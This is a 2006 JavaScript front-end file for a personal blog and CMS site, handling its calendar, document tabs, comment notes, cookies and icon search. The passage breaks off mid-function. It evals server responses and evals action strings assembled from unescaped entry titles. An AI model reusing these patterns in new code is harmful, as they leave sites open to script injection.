﻿           /*3OGGO3(^
       ~Q@@@BBBBB@#(B@@S/
     O@@BBBBBBBBBB@O R@B@@O
    O@BBB@@@@@@BBB@G S@@@@@O		Global Object
  /B@BBB@t    /#@B@( //     /		Controlled by Hakan Bilgin © 2006
 ~@BBB@R(       BB~   /tC/  %@/		http://www.challenger.se
 O@BB@#CCQ##s  /R(  e#@@O  C@@s
/@BBBBBBBBB@O (@( /@#7 /6R@@BB@/
%@BBBBBBB@B~ KR    ^(CG3   t@B@%
3@BBBBBB@O (@R   Q@@@@Q^ /#@BB@%
%@BBBBB@#  K@e   K@@BC  tR@BBB@t
^B@B@SC3  »%   ^^ /sB@BBBBB@R^R
 %KC/      //(     C@@BBBBBBB@t
  QQQ#G    e@@/     C@BBBBBB@R
   K@@#   sRRB@%S@@@(C@BBBB@Q
    (B@K 7@BBBBBBBB@S6@BB@R/
     ~R@G e@BBBBBBB@GS@B@#/			This code is licensed under a Creative Commons License.
        (#@S#@BBBB@#Q@Q(			http://creativecommons.org/licenses/LGPL/2.1/
             ^/~~/*/

global = {
	domain : document.location.href.match(/http:\/\/.*?\/()/)[0],
	init : function() {
		if (!env.ie) global.fffix();
		window.onresize = global.fffix;
		
		var rownum = '';
		for (i=1; i<400; i++) rownum += i +'<br/>';
		getChildren('templates', 'otype', 'row_number')[0].innerHTML = rownum;
		
		if (global.cookie.Get('Author')) getChildren('templates', 'name', 'author')[0].value = global.cookie.Get('Author');
		if (global.cookie.Get('Website')) getChildren('templates', 'name', 'website')[0].value = global.cookie.Get('Website');
		if (global.cookie.Get('Panel')) {
			pixar.panel.step = pixar.panel.stop;
			pixar.panel.open('_blog_', true);
			global.panel.toggle();
			$('top_menu').firstChild.active = getChildren('top_menu', 'for', '_blog_')[0];
		}
		
		getChildren('cal_inset', 'otype', 'bCal')[0].fireEvent('onmousedown');
		getChildren('top_tabs', 'otype', 'flap')[0].fireEvent('onmousedown');
		getChildren('challengerInfo', 'otype', 'language')[0].fireEvent('onmousedown');
		getChildren('option_mtrl', 'otype', 'option')[0].fireEvent('onmousedown');
		xdbc.path = '/include/php/xcs.php';
		xdbc.load('/include/xml/ledger.php?'+ xdbc.uniqId(), global.initStart);
	},
	initStart : function(response) {
		if (!response) return;
		xdbc.ledger = response;
		var token = xdbc.ledger.selectSingleNode('//@token');
		if (token) xdbc.token = token.nodeValue;
		
		var now = new Date();
		global.now = now.getFullYear() +'-'+ (now.getMonth()+1) +'-'+ now.getDate();
		global.calendar.create(now.getFullYear() +'-'+ (now.getMonth()+1));
		var monthStart = $('calTbl').year +'-'+ $('calTbl').month +'-01';
		var monthEnd = $('calTbl').year +'-'+ xdbc.ledger.selectSingleNode('//month[@id='+ $('calTbl').month +']/@span').nodeValue;
		
		xdbc.addQue(xdbc.cmd('03'), global.calendar.dt, monthStart, monthEnd, global.now);
		xdbc.addQue(xdbc.cmd('07'), global.now);
		xdbc.addQue(xdbc.cmd('08'));
		xdbc.addQue(xdbc.cmd('09'));
		xdbc.addQue(xdbc.cmd('10'));
		xdbc.addQue(xdbc.cmd('11'));
		xdbc.addQue(xdbc.cmd('12'));
		xdbc.addQue(xdbc.cmd('27'));
		xdbc.transform(xdbc.exec(true), 'start', 'doc_start');
		
		onunload = function() {
			xdbc.addQue(xdbc.cmd('02'));
			xdbc.exec();
		}
	},
	fffix : function() {
		global.doc.fixFlaps()
		if (env.ie) return;
		getParent($('pDoc'), 'nodeName', 'TABLE').style.height = 480;
		document.body.style.height =
		$('top_menu').style.height =
		$('sub_menu').style.height =
		$('pDoc').style.height = '100%';
		setTimeout(function() {$('pDoc').style.height = document.body.offsetHeight - 62;}, 10);
	},
	switchLanguage : function(lng) {
		if ($('challengerInfo').activeLng) $('challengerInfo').activeLng.style.display = 'none';
		var cLanguage = getChildren($('challengerInfo'), 'language', lng)[0];
		cLanguage.style.display = 'block';
		$('challengerInfo').activeLng = cLanguage;
	},
	validate : {
		mail : function(str) {
			return str.match(/^.+@.{2,}\..{2,}$/);
		}
	},
	cms : {
		toggle_login : function() {
			var cms_login = getChildren('_blog_', 'for', 'cms_login');
			if (event.keyCode != 120 || !cms_login.length) return;
			var cms_input = getChildren(cms_login[0], 'nodeName', 'INPUT');
			global.panel.show('_blog_');
			cms_login[0].style.display = (cms_login[0].currentStyle.display != 'inline')? 'inline' : 'none';
			cms_input[0].focus();
		},
		login : function() {
			var keyCode = event.keyCode || event.charCode;
			if (keyCode == 13) {
				var username = $('cms_username').value;
				var password = $('cms_password').value;
				var login = xdbc.addQue(xdbc.cmd('01'));
				login.setAttribute('username', username);
				login.setAttribute('password', password);
				xdbc.exec(global.cms.xHandler);
			}
		},
		xHandler : function(response) {
			var cms_login = getChildren('_blog_', 'for', 'cms_login');
			if (cms_login.length) cms_login[0].parentNode.removeChild(cms_login[0]);
			document.detachEvent('onkeydown', global.cms.toggle_login);
			eval(response.documentElement.text);
		}
	},
	getTemplate : function(name) {
		return getChildren($('templates'), 'otype', name)[0].cloneNode(true);
	},
	cookie : {
		Delete : function(cName) {
			var date = new Date();
			date.setYear(date.getFullYear() - 10);
			document.cookie = cName + '=; expires=' + date.toGMTString();
		},
		Get : function(cName) {
			var aCookie = document.cookie.split('; ')
			for (j=0; j<aCookie.length; j++) {
				bCookie = aCookie[j].split('=');
				if (bCookie[0] == cName) return unescape(bCookie[1]);
			}
		},
		Set : function(cName, cValue) {
			if (!cValue) global.cookie.Delete(cName);
			var date = new Date();
			date.setYear(date.getFullYear() + 1);
			document.cookie = cName + '=' + escape(cValue) + '; expires=' + date.toGMTString();
		}
	},
	calendar : {
		days   : ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'],
		months : ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
		show : function(dt) {
			if (!dt || !parseInt(dt)) return;
			global.calendar.dt = dt;
			if (xdbc.ledger) global.calendar.step(0);
		},
		now : function() {
			var now = new Date();
			var dStr = now.getFullYear() +'-'+ global.calendar.validInt(now.getMonth()+1) +'-'+ global.calendar.validInt(now.getDate());
			dStr += ' '+ global.calendar.validInt(now.getHours()) +':'+ global.calendar.validInt(now.getMinutes()) +':00';
			return dStr;
		},
		longDate : function (sDate) {
			var sDate = sDate.split(' ');
			var tObj = sDate[1].split(':');
			var dObj = sDate[0].split('-');				dObj = new Date(dObj[0], dObj[1]-1, dObj[2], tObj[0], tObj[1]);
			var dInt = new Number(dObj.getDay()) - 1;	dInt = dInt < 0? 6 : dInt;
			return global.calendar.days[dInt] +', '+ global.calendar.months[dObj.getMonth()] +' '+ dObj.getDate() +', '+ 
				dObj.getFullYear() +' @ '+ global.calendar.validInt(dObj.getHours()) +':'+ global.calendar.validInt(dObj.getMinutes());
		},
		getEntries : function() {
			srcEl = event.srcElement;
			srcTD = getParent(srcEl, 'nodeName', 'TD');
			if (!srcTD || !srcTD.getAttribute('action')) return;
			eval(srcTD.getAttribute('action'));
		},
		validInt : function (i) {
			return (new Number(i) < 10)? '0'+ i : i ;
		},
		step : function(i) {
			$('calSpinner').src = '/images/16/spinner_gray.gif';
			var calYear = $('calTbl').year;
			var calMonth = $('calTbl').month + i;
			global.calendar.create(calYear +'-'+ calMonth);
			
			var monthStart = $('calTbl').year +'-'+ $('calTbl').month +'-01';
			var monthEnd = $('calTbl').year +'-'+ xdbc.ledger.selectSingleNode('//month[@id='+ $('calTbl').month +']/@span').nodeValue;
			xdbc.addQue(xdbc.cmd('03'), global.calendar.dt, monthStart, monthEnd, global.now);
			xdbc.exec(global.calendar.popMonth);
		},
		create : function(sDate) {
			var tmp = sDate.split('-');
			var now = new Date(tmp[0], (tmp[1]-1), 1);
			
			var xMonth = xdbc.ledger.selectSingleNode('//month[@id='+ (now.getMonth()+1) +']');
			var xDays = xdbc.ledger.selectNodes('//day');
			var firstDay = (now.getDay() == 0)? 7 : now.getDay() ;
			var monthLen = parseInt(xMonth.getAttribute('length'));
			
			cStr = '<table class="calendar" cellpadding="0" cellspacing="1">';
			cStr += '<tr><th colspan="7" class="calHeader">'+ xMonth.getAttribute('name') +' '+ now.getFullYear() +'</th></tr>';
			cStr += '<col/><col/><col/><col/><col/><col/><col class="sunday"/><tr>';
			
			for (d=0; d<xDays.length; d++) {
				var isSun = (d==6)? ' class="sunday"' : '' ;
				cStr += '<th'+ isSun +'>'+ xDays[d].getAttribute('name').slice(0,3).toLowerCase() +'</th>';
			}
			cStr += '</tr>';
			for (w=0; w<6; w++) {
			  cStr += '<tr>';
				for (d=0; d<7; d++) {
					dt = ((w*7)+d)+1;
					tdTxt = (dt+1>firstDay && dt<monthLen+firstDay)? dt-firstDay+1 : '&#160;';
					cStr += '<td>'+ tdTxt +'</td>';
				}
			  cStr += '</tr>';
			}
			cStr += '</table>';
			$('calTbl').year = parseInt(now.getFullYear());
			$('calTbl').month = parseInt(now.getMonth())+1;
			$('calTbl').innerHTML = cStr;
		},
		popMonth : function(response) {
			$('calSpinner').src = '/images/_.gif';
			if (!response.hasChildNodes) return;
			var xDate = response.selectNodes('//calEntity');
			for (m=0; m<xDate.length; m++)
				xDate[m].setAttribute('creDate', xDate[m].getAttribute('creDate').slice(0,10));
			
			var calTD = $('calTbl').getElementsByTagName('TD');
			for (d=0; d<calTD.length; d++) {
				if (!parseInt(calTD[d].innerHTML)) continue;
				var tmp = $('calTbl').year +'-'+ global.calendar.validInt($('calTbl').month) +'-'+ global.calendar.validInt(calTD[d].innerHTML);
				var bd = response.selectNodes("//calEntity[@creDate='"+ tmp +"']");
				if (bd.length) {
					var dId = (bd[0].getAttribute('dtId') == '21')? bd[0].getAttribute('id') : bd[0].getAttribute('pId');
					var dhc = (bd[0].getAttribute('dtId') == '21')? '('+ bd[0].getAttribute('_hc') +')' : '';
					var dtt = '';
					for (v=0; v<bd.length; v++) dtt += bd[v].getAttribute('title') +', ';
					
					calTD[d].className = 'content';
					calTD[d].title = dtt.slice(0,-2) + dhc;
					calTD[d].setAttribute('action', 'global.doc.open('+ dId +', "'+ bd[0].getAttribute('title') +'")');
				}
			}
		}
	},
	panel : {
		show : function(name) {
			if (!$(name)) return;
			if ($(name).getAttribute('invoke')) {
				eval($(name).getAttribute('invoke'));
				$(name).removeAttribute('invoke');
			}
			if (pixar.panel.step == 0) {
				pixar.panel.open(name);
			} else {
				$('sub_menu').active.style.display = 'none';
				$(name).style.left = 0;
				$('sub_menu').active = $(name);
				$('sub_menu').active.style.display = 'block';
			}
		},
		toggle : function() {
			if ($('sub_menu').parentNode.offsetWidth == 1) {
				var panel_locks = getChildren($('sub_menu'), 'className', 'panel_lock');
				for (l=0; l<panel_locks.length; l++) panel_locks[l].src = '/images/16/locked.gif';
				$('sub_menu').style.position = 'static';
				$('sub_menu').parentNode.style.width = 230;
				global.cookie.Set('Panel', 'Show');
			} else {
				var panel_locks = getChildren($('sub_menu'), 'className', 'panel_lock');
				for (l=0; l<panel_locks.length; l++) panel_locks[l].src = '/images/16/unlocked.gif';
				$('sub_menu').style.position = 'absolute';
				$('sub_menu').parentNode.style.width = 1;
				setTimeout('global.panel.hide();', 100);
				global.cookie.Delete('Panel', 'Hide');
			}
		},
		hide : function() {
			if (!$('top_menu').firstChild.active) return;
			var active_panel = $('top_menu').firstChild.active.getAttribute('for');
			pixar.panel.close(active_panel);
		}
	},
	doc : {
		doOption : function(option) {
			var oView = getChildren('option_mtrl', 'option', option);
			if (!oView.length) return;
			if (oView[0].parentNode.active) oView[0].parentNode.active.className = 'option_out';
			oView[0].className = 'option_down';
			oView[0].parentNode.active = oView[0];
			$('pTabs').active.setAttribute('view', 'viewable');
		},
		setOptions : function(tabEl) {
			var options = getChildren($('option_mtrl'), 'otype', 'option');
			for (o=1; o<options.length; o++) {
				options[o].style.display = (tabEl.getAttribute(options[o].getAttribute('option')))? 'inline' : 'none' ;
			}
			if (typeof(admin) != 'object') return;
			var xoptions = getChildren($('option_mtrl'), 'otype', 'xoption');
			for (o=0; o<xoptions.length; o++) {
				xoptions[o].style.display = (tabEl.getAttribute(xoptions[o].getAttribute('option')))? 'inline' : 'none' ;
			}
		},
		view : function() {
			if (!$('pTabs').active) return;
			var active_body = $($('pTabs').active.getAttribute('obody'));
			var source_view = getChildren(active_body, 'otype', 'source_view')[0];
			global.doc.doOption('viewable');
			
			if (source_view) source_view.style.display = 'none';
			if (active_body.childNodes[0].nodeType != 3) active_body.childNodes[0].style.display = 'block';
			$('pDoc').className = ($('pTabs').active.getAttribute('view') == 'sourceable')? 'pDocBorder' : '';
		},
		edit : function() {
			global.doc.doOption($('pTabs').active.getAttribute('view'));
			return alert('You have to login first!');
		},
		source : function() {
			var active_body = $($('pTabs').active.getAttribute('obody'));
			var doc_body	= getChildren(active_body, '_column', 'data')[0];
			var row_number  = getChildren(active_body, 'className', 'row_number')[0];
			var source_view = getChildren(active_body, 'otype', 'source_view')[0];
			var source_code = getChildren(source_view, 'otype', 'source_code')[0];
			
			if (source_code.firstChild.innerHTML == '') source_code.firstChild.innerHTML = doc_body.innerHTML.colorizeHTML();
			if (!row_number.hasChildNodes()) row_number.appendChild(global.getTemplate('row_number'));
			
			source_view.style.display = 'block';
			if (!env.ie) row_number.firstChild.style.height = source_code.firstChild.offsetHeight;
			active_body.childNodes[0].style.display = 'none';
			$('pTabs').active.setAttribute('view', 'sourceable');
			$('pDoc').className = ($('pTabs').active.getAttribute('view') == 'sourceable')? 'pDocBorder' : '';
		},
		flap : function(tabEl) {
			$('pDoc').className = (tabEl.getAttribute('view') == 'sourceable')? 'pDocBorder' : '';
			
			global.doc.setOptions(tabEl);
			var optionEl = getChildren($('option_mtrl'), 'option', tabEl.getAttribute('view'));
			if (optionEl.length) {
				if (optionEl[0].parentNode.active) optionEl[0].parentNode.active.className = 'option_out';
				optionEl[0].className = 'option_down';
				optionEl[0].parentNode.active = optionEl[0];
			}
			
			var bcls = getChildren($('pTabs'), 'otype', 'tabButton')[0];
			bcls.style.display = (tabEl.getAttribute('obody') == 'doc_start')? 'none' : 'block' ;
			
			if (tabEl.parentNode.active == tabEl) return;
			if (tabEl.parentNode.active) {
				$(tabEl.parentNode.active.getAttribute('obody')).style.display = 'none';
				tabEl.parentNode.active.className = tabEl.parentNode.active.getAttribute('otype') +'_out';
			}
			$(tabEl.getAttribute('obody')).style.display = 'block';
			tabEl.className = tabEl.getAttribute('otype') +'_down';
			tabEl.parentNode.active = tabEl;
		},
		open : function(id, name, xsl) {
			$('pDoc').className = '';
			var isExists = getChildren($('pTabs'), 'obody', 'doc_'+ id);
			if (isExists.length) {
				global.doc.flap(isExists[0]);
				return;
			}
			var firstFlap = getChildren($('pTabs'), 'otype', 'flap')[0];
			var newFlap = global.getTemplate('flap');
			var newDoc = global.getTemplate('docLayer');
			newFlap.setAttribute('obody', 'doc_'+ id);
			newDoc.setAttribute('id', 'doc_'+ id);
			
			var tabBody = getChildren(newFlap, 'className', 'body');
			tabBody[0].innerHTML = name || 'Loading...';
			$('pTabs').insertBefore(newFlap, firstFlap);
			$('pDoc').insertBefore(newDoc, $('pDoc').firstChild);
			
			global.doc.fixFlaps();
			firstFlap.previousSibling.fireEvent('onmousedown');
			
			if (parseInt(id)) {
				var $xsl = xsl || 'doc';
				xdbc.addQue(xdbc.cmd('05'), id);
				xdbc.addQue(xdbc.cmd('06'), id);
				xdbc.transform(xdbc.exec(true), $xsl, $('doc_'+ id));
			}
			return 'doc_'+ id;
		},
		close : function() {
			var tabs = getChildren($('pTabs'), 'otype', 'flap');
			if (tabs.length == 1) return;
			var nextTab = $('pTabs').active.nextSibling || $('pTabs').active.previousSibling;
			$('pDoc').removeChild($($('pTabs').active.getAttribute('obody')));
			$('pTabs').removeChild($('pTabs').active);
			
			$('pTabs').active = null;
			global.doc.fixFlaps();
			global.doc.show(nextTab);
		},
		show : function(srcEl) {
			var srcEl = srcEl || event.srcElement;
			var tabEl = getParent(srcEl, 'otype', 'flap');
			if (!tabEl) return;
			
			var active_doc = ($('pTabs').active)? $($('pTabs').active.getAttribute('obody')) : null;
			if (active_doc) {
				active_doc.setAttribute('st', $('pDoc').scrollTop);
				active_doc.style.display = 'none';
			}
			if ($(tabEl.getAttribute('obody'))) {
				var st = $(tabEl.getAttribute('obody')).getAttribute('st');
				$(tabEl.getAttribute('obody')).style.display = 'block';
				if (st) $('pDoc').scrollTop = st;
			}
			global.doc.flap(tabEl);
		},
		menu : function() {
			var newMenu = global.getTemplate('ctx_table');
			var tmpMenuObj = getChildren(newMenu, 'nodeName', 'TR')[0];
			var tabs = getChildren($('pTabs'), 'otype', 'flap');
			for (f=0; f<tabs.length; f++) {
				var tabId = tabs[f].getAttribute('obody').split('_')[1];
				if (tabs[f].getAttribute('obody') == 'doc_start') continue;
				var tabId = (!tabId || isNaN(tabId))? tabs[f].getAttribute('obody').slice(4) : tabId ;
				var newMenuObj = tmpMenuObj.cloneNode(true);
				var isActiveDoc = $('pTabs').active == tabs[f];
				var docTitle = getChildren(tabs[f], 'className', 'body')[0].innerHTML;
				docTitle = (isActiveDoc)? '<i>'+ docTitle +'</i>' : docTitle;
				getChildren(newMenuObj, 'nodeName', 'SPAN')[0].innerHTML = (isActiveDoc)? '&#171;' : '&#160;';
				getChildren(newMenuObj, 'nodeName', 'NOBR')[0].innerHTML = docTitle;
				newMenuObj.firstChild.setAttribute('action', 'global.doc.open(\''+ tabId +'\');');
				tmpMenuObj.parentNode.insertBefore(newMenuObj, tmpMenuObj);
			}
			$('ctx_menu').appendChild(newMenu);
			$('ctx_menu').style.top = 24;
			$('ctx_menu').style.left = document.body.offsetWidth - newMenu.offsetWidth - (env.ie? 11 : 7);
			if ($('pTabs').active.getAttribute('obody') == 'doc_start') getChildren(tmpMenuObj, 'nodeName', 'SPAN')[0].innerHTML = '&#171;';
		},
		fixFlaps : function() {
			var tabs = getChildren($('pTabs'), 'otype', 'flap');
			var aw = $('pTabs').offsetWidth - 60;
			for (f=0; f<tabs.length; f++) {
				tabs[f].style.left = (f*-11);
				tabs[f].style.zIndex = 97-f;
				tabs[f].style.top = (tabs[f].offsetLeft + tabs[f].offsetWidth > aw)? 100 : 2 ;
			}
		}
	},
	image : {
		open : function(srcEl) {
			if (pixar.ghost.state) return;
			var newViewer =	global.getTemplate('imgViewer');
			var parentDoc = getParent(srcEl, 'className', 'docLayer');
			var newImg =	parentDoc.appendChild(newViewer);
			var imgEl =		getChildren(newImg, 'nodeName', 'IMG')[0];
			
			getChildren(newImg, 'className', 'imgInfo')[0].innerHTML = srcEl.getAttribute('title');
			newImg.style.top = $('pDoc').scrollTop + 20;
			imgEl.src = srcEl.src.replace(/\/thumb/, '') +'?'+ xdbc.uniqId();
			imgEl.onreadystatechange = function() {
				if (this.readyState != 'complete') return;
				pixar.ghost.expandTo(srcEl, newImg);
			}
		},
		close : function() {
			srcEl = event.srcElement;
			objEl = getParent(srcEl, 'className', 'imgViewer');
			pixar.ghost.collapseFrom(objEl);
			global.cancelEvent();
		}
	},
	note : {
		New : function() {
			var srcEl = event.srcElement;
			var optEl = getParent(srcEl, 'otype', 'option');
			var activeDoc = $($('pTabs').active.getAttribute('obody'));
			if (getChildren(activeDoc, 'otype', 'newNote').length) return;
			var newNote = global.getTemplate('newNote');
			activeDoc.appendChild(newNote);
			
			var textPad = newNote.getElementsByTagName('textarea')[0];
			woco.init('english', textPad);
			
			newNote.style.top = activeDoc.parentNode.scrollTop + 100;
			pixar.ghost.expandTo(optEl, newNote);
			//	Some quirking...since origo differs for fromObj and toObj
			pixar.ghost.expandTo.dim.from.t = activeDoc.parentNode.scrollTop + pixar.ghost.expandTo.dim.from.t;
			optEl.className = 'option_out';
			global.doc.view();
		},
		woco : function() {
			var srcEl = event.srcElement;
			var state = srcEl.className == 'inset';
			srcEl.className = (!state)? 'inset' : 'outset' ;
			woco.active = !woco.active;
			woco_moz.active = !woco_moz.active;
		},
		cancel : function() {
			var srcEl = event.srcElement;
			var optEl = getParent(srcEl, 'otype', 'option');
			var activeDoc = $($('pTabs').active.getAttribute('obody'));
			var newNote = getChildren(activeDoc, 'otype', 'newNote')[0];
			pixar.ghost.collapseFrom(newNote);
		},
		submit : function() {
			var btnEl = event.srcElement;
			var tblEl = getParent(btnEl, 'nodeName', 'TABLE');
			var docEl = getParent(tblEl, 'otype', 'docLayer');
			var pId		= getChildren(docEl, 'nodeName', 'TABLE')[0].getAttribute('value');
			var buttons = getChildren(tblEl, 'nodeName', 'BUTTON');
			var author	= getChildren(tblEl, 'name', 'author')[0].value.friendlyHTML();
			var website = getChildren(tblEl, 'name', 'website')[0].value.friendlyHTML();
			var message = getChildren(tblEl, 'name', 'message')[0].value.friendlyHTML().acronym();
			if (!author || !message) return;
			var spinner = getChildren(tblEl, 'otype', 'spinner')[0];
			spinner.src = '/images/16/spinner_gray.gif';
			
			global.cookie.Set('Author', author);
			global.cookie.Set('Website', website);
			for (b=0; b<buttons.length; b++) buttons[b].disabled = true;
			message = message.replace(/\n/g, '<br/>');
			
			var xNote = xdbc.addQue(xdbc.cmd('18'));
			xNote.setAttribute('pId', pId);
			xNote.setAttribute('author', author);
			xNote.setAttribute('title', website);
			xNote.setAttribute('data', message);
			xdbc.exec(global.note.xHandler);
			docEl.newNote = tblEl.parentNode;
		},
		xHandler : function(response) {
			var insertId = response.selectSingleNode('//@insertId').nodeValue;
			for (d=0; d<$('pDoc').childNodes.length; d++) {
				var nNote = $('pDoc').childNodes[d].newNote;
				if (nNote) {
					var noteIcon = global.getTemplate('comment');
					var notes = getChildren($('pDoc').childNodes[d], 'className', 'notes')[0];
					noteIcon.setAttribute('srcId', 'comment_'+ insertId);
					noteIcon = notes.appendChild(noteIcon);
					nNote.collapseTo = noteIcon;
					pixar.ghost.collapseFrom(nNote);
					$('pDoc').childNodes[d].removeAttribute('newNote');
					return;
				}
			}
		},
		doMouse : function() {
			srcEl = event.srcElement;
			objEl = getParent(srcEl, 'otype', 'comment');
			if (!objEl) return;
			switch (event.type) {
				case 'mouseover':
					objEl.className = objEl.getAttribute('otype') +'_over';
					if (objEl.childNodes.length > 1) objEl.getElementsByTagName('NOBR')[0].className = objEl.firstChild.src.replace(/.*?\/note_|\.gif/ig, '');
					break;
				case 'mouseout':
					objEl.className = objEl.getAttribute('otype') +'_out';
					break;
				case 'mousedown':
					if (pixar.ghost.state || getParent(srcEl, 'nodeName', 'NOBR')) return;
					var noteId		= objEl.getAttribute('srcId').split('_')[1];
					if ($('note_'+ noteId)) return;
					var newNote		= global.getTemplate('note');
					var parentDoc	= getParent(srcEl, 'className', 'docLayer');
					var newNote		= parentDoc.appendChild(newNote);
					var newNoteBody = getChildren(newNote, 'className', 'body')[0].firstChild;
					var noteColor	= objEl.firstChild.src.replace(/.*?\/note_|\.gif/ig, '');
					
					//var noteColor	= (noteColor == 'hbi')? 'yellow' : noteColor ;
					getChildren(newNote, 'otype', 'spinner')[0].src = '/images/16/spinner_'+ noteColor +'.gif';
					
					newNote.id = 'note_'+ noteId;
					newNote.className = 'note_'+ noteColor;
					newNote.style.top = $('pDoc').scrollTop + 100;
					xdbc.addQue(xdbc.cmd('13'), noteId);
					xdbc.transform(xdbc.exec(true), 'comment', newNoteBody)
					pixar.ghost.expandTo(srcEl, newNote);
					break;
			}
		},
		close : function() {
			srcEl = event.srcElement;
			objEl = getParent(srcEl, 'dragable');
			pixar.ghost.collapseFrom(objEl);
			global.cancelEvent();
		}
	},
	iconDB : {
		search : function() {
			var docId = global.doc.open('idb_search', 'IconDB Search');
			var phrase = $('searchPhrase').value.trim();
			xdbc.addQue(xdbc.cmd('16'), phrase);
			xdbc.addQue(xdbc.cmd('17'), phrase, 0, 16);
			if ($('idbs_progress')) {
				$('idbs_progress').src = '/images/32/spinner.gif';
				xdbc.exec(global.iconDB.XHR.init);
			} else xdbc.transform(xdbc.exec(true), 'iconDB', docId);
		},
		phrase : function() {
			var keyCode = event.keyCode || event.charCode;
			if (keyCode == 32) global.iconDB.lookup();
			else if (keyCode == 13) {
				global.iconDB.lookup();
				global.iconDB.search();
			}
		},
		lookup : function() {
			$('idbSpinner').src = '/images/16/spinner_brown.gif';
			var phrase = $('searchPhrase').value.trim();
			xdbc.addQue(xdbc.cmd('16'), phrase);
			xdbc.transform(xdbc.exec(true), 'idb_lookup', 'speedSearch');
		}
	},
	doMouse : function() {
		var srcEl = event.srcElement;
		var objEl = getParent(srcEl, 'otype');
		if (!objEl || event.type == 'selectstart') return;
		switch (event.type) {
			case 'mouseover':
				if (objEl.parentNode.active == objEl) return;
				objEl.className = objEl.getAttribute('otype') +'_over';
				break;
			case 'mouseout':
				if (objEl.parentNode.active == objEl) return;
				objEl.className = objEl.getAttribute('otype') +'_out';
				break;
			case 'mousedown':
				var rState = objEl.getAttribute('radio');
				if (objEl.parentNode.active == objEl && rState != 'false') return;
				if (arguments[0] != 'action') {
					if (objEl.parentNode.active == objEl && rState != 'false') return;
					if (objEl.parentNode.active) objEl.parentNode.active.className = objEl.parentNode.active.getAttribute('otype') +'_out';
					objEl.className = objEl.getAttribute('otype') +'_down';
					objEl.parentNode.active = objEl;
				}
				if (rState) {
					rState = (rState == 'true')? 'false' : 'true' ;
					objEl.setAttribute('radio', rState);
				}
				var act = objEl.getAttribute('action');
				if (act) eval(act);
				break;
			case 'mouseup':
				if (objEl.getAttribute('radio') == 'false') return;
				objEl.className = objEl.getAttribute('otype') +'_over';
				if (objEl.getAttribute('otype') == 'handle') {
					global.drag.obj = null;
					return;
				}
				objEl.parentNode.active = null;
				break;
			case 'mousemove':return
				if (!global.drag.obj) return;
				with (global.drag.obj) {
					style.position = 'absolute';
					style.top	   = event.y;
					style.left	   = event.x;
				}
				break;
		}
	},
	cancelEvent : function() {
		event.cancelBubble = true;
		event.returnValue = null;
	}
}

pixar = {
	ghost : {
		step : 0,
		stop : 12,
		yd1 : env.ie ? 0 : 1,
		yd2 : env.ie ? -6 : -6,
		draw : function(t, l, h, w) {
			pixar.ghost.state = true;
			var oEl = (pixar.drag.obj && pixar.drag.osc)? pixar.drag.obj : $('ghost');
			var hd3 = pixar.drag.box.obj.offsetHeight - pixar.drag.box.t - parseInt(h) + pixar.ghost.yd2;
			var yd3 = xd3 = bt = bb = br = bl = 0;
			if (pixar.drag.cbox && pixar.drag.cbox.getAttribute('origo') == 'relative') {
				yd3 = pixar.drag.box.t + 1 - $('pDoc').scrollTop;
				xd3 = pixar.drag.box.l - $('pDoc').scrollLeft;
				hd3 = pixar.drag.cbox.offsetHeight;
				bt = parseInt(pixar.drag.cbox.getAttribute('bt')) || 0;
				bb = parseInt(pixar.drag.cbox.getAttribute('bb')) || 0;
				br = parseInt(pixar.drag.cbox.getAttribute('br')) || 0;
				bl = parseInt(pixar.drag.cbox.getAttribute('bl')) || 0;
			}
			if (env.ie && pixar.drag.obj && pixar.drag.obj.className == 'wftools') {bt = -60; bb = 60;}
			with (oEl) {
				style.display = 'block';
				style.cursor = pixar.drag.resize ? 'se-resize' : 'move' ;
				if (t) style.top	= pixar.ghost.t = Math.max(pixar.drag.box.t + pixar.ghost.yd1 + bt, Math.min((hd3 + bb), (parseInt(t) - $('pDoc').scrollTop))) - yd3;
				if (l) style.left	= pixar.ghost.l = Math.max(pixar.drag.box.l + bl, Math.min((pixar.drag.box.w + pixar.drag.box.l - parseInt(w) - 5 + br), (parseInt(l) - $('pDoc').scrollLeft))) - xd3;
				if (h) style.height = pixar.ghost.h = Math.max(pixar.drag.min.h, parseInt(h));
				if (w) style.width	= pixar.ghost.w = Math.max(pixar.drag.min.w, parseInt(w));
			}
		},
		expandTo : function(from, to) {
			if (from && to) {
				pixar.ghost.expandTo.dim = {
					oFrom : from,
					oTo	  : to,
					from  : getDim(from),
					to    : getDim(to)
				}
				pixar.ghost.step = 0;
				pixar.drag.box = getDim(getParent(to, 'otype', 'docLayer'));
			}
			if (!pixar.ghost.expandTo.dim) return;
			with (pixar.ghost.expandTo.dim) {
				var t = from.t + parseInt((to.t-from.t)*(pixar.ghost.step/pixar.ghost.stop));
				var l = from.l + parseInt((to.l-from.l)*(pixar.ghost.step/pixar.ghost.stop));
				var h = from.h + parseInt((to.h-from.h)*(pixar.ghost.step/pixar.ghost.stop));
				var w = from.w + parseInt((to.w-from.w)*(pixar.ghost.step/pixar.ghost.stop));
			}
			pixar.ghost.draw(t, l, h, w);
			pixar.ghost.step++;
			if (pixar.ghost.step <= pixar.ghost.stop) setTimeout('pixar.ghost.expandTo();', 10);
			else {
				pixar.drag.bringToFront(pixar.ghost.expandTo.dim.oTo);
				pixar.ghost.expandTo.dim.oTo.style.visibility = 'visible';
				pixar.ghost.expandTo.dim.oTo.collapseTo = pixar.ghost.expandTo.dim.oFrom;
				pixar.ghost.expandTo.dim = null;
				pixar.ghost.hide();
			}
		},
		collapseFrom : function(from, del) {
			if (from) {
				pixar.ghost.collapseFrom.dim = {
					del	  : del,
					oFrom : from,
					oTo	  : from.collapseTo,
					from  : getDim(from),
					to    : getDim(from.collapseTo)
				}
				pixar.ghost.collapseFrom.dim.oFrom.style.visibility = 'hidden';
				pixar.ghost.step = pixar.ghost.stop;
				pixar.drag.box = getDim(getParent(from, 'otype', 'docLayer'));
			}
			with (pixar.ghost.collapseFrom.dim) {
				var t = to.t + parseInt((from.t-to.t)*(pixar.ghost.step/pixar.ghost.stop));
				var l = to.l + parseInt((from.l-to.l)*(pixar.ghost.step/pixar.ghost.stop));
				var h = to.h + parseInt((from.h-to.h)*(pixar.ghost.step/pixar.ghost.stop));
				var w = to.w + parseInt((from.w-to.w)*(pixar.ghost.step/pixar.ghost.stop));
			}
			pixar.ghost.draw(t, l, h, w);
			pixar.ghost.step--;
			if (pixar.ghost.step > -1) setTimeout('pixar.ghost.collapseFrom();', 10);
			else {
